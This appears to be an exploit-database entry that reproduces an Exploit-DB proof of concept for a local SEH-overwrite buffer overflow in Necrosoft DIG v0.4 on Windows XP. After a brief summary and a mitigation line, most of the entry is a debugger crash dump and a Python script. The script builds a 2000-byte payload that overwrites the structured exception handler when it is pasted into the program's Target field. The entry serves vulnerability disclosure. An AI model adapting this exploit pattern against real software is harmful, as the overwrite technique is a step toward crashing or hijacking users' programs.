header-logo
Suggest Exploit
vendor:
DIG
by:
Rafael Pedrero
7.5
CVSS
HIGH
Denial of Service (DoS) Local Buffer Overflow
119
CWE
Product Name: DIG
Affected Version From: 0.4
Affected Version To: 0.4
Patch Exists: YES
Related CWE: N/A
CPE: a:necrosoft:dig
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows XP SP3
2005

Necrosoft DIG v0.4 – Denial of Service (PoC) SEH overwritten Crash PoC

Necrosoft DIG v0.4 is vulnerable to a denial of service attack due to a buffer overflow vulnerability. By sending a specially crafted payload of 2000 bytes, an attacker can overwrite the SEH handler and cause a crash. This can be done by running Necrosoft DIG v0.4, copying the content of the DIG_Crash.txt file to the clipboard, and pasting it into the 'Target' field. Clicking the 'TCP lookup' button will cause the crash.

Mitigation:

Upgrade to the latest version of Necrosoft DIG v0.4 or apply the appropriate patch.
Source

Exploit-DB raw data:

# Exploit Title: Necrosoft DIG v0.4 - Denial of Service (PoC) SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2005-01-10
# Vendor Homepage: http://www.nscan.org/?index=dns
# Software Link : http://www.nscan.org/?index=dns
# Tested Version: 0.4
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run Necrosoft DIG v0.4 (dig.exe)
# 2.- copy content DIG_Crash.txt to clipboard (result from this python script)
# 3.- Paste the content into the field: 'Target'
# 4.- Click 'TCP lookup' button and you will see a crash.


'''
SEH chain of thread 000003CC
Address    SE handler
00D9FF08   43434343
42424242   *** CORRUPT ENTRY ***


EAX 0000000E
ECX 000004D2
EDX 000004E0
EBX 00000041
ESP 00D9FACC
EBP 0012FB60
ESI 00D9FB20
EDI 009284C5 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EIP 004036B2 DIG.004036B2
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 1  FS 003B 32bit 7FFDB000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1


'''

#!/usr/bin/env python

junk = "\x41" * 985
crash = junk + "BBBB" + "CCCC" + "\x41" * (2000 - 985 - 4 - 4)
print "SEH overwritten Crash, full payload length =",len(crash)
f = open ("DIG_Crash.txt", "w")
f.write(crash)
f.close()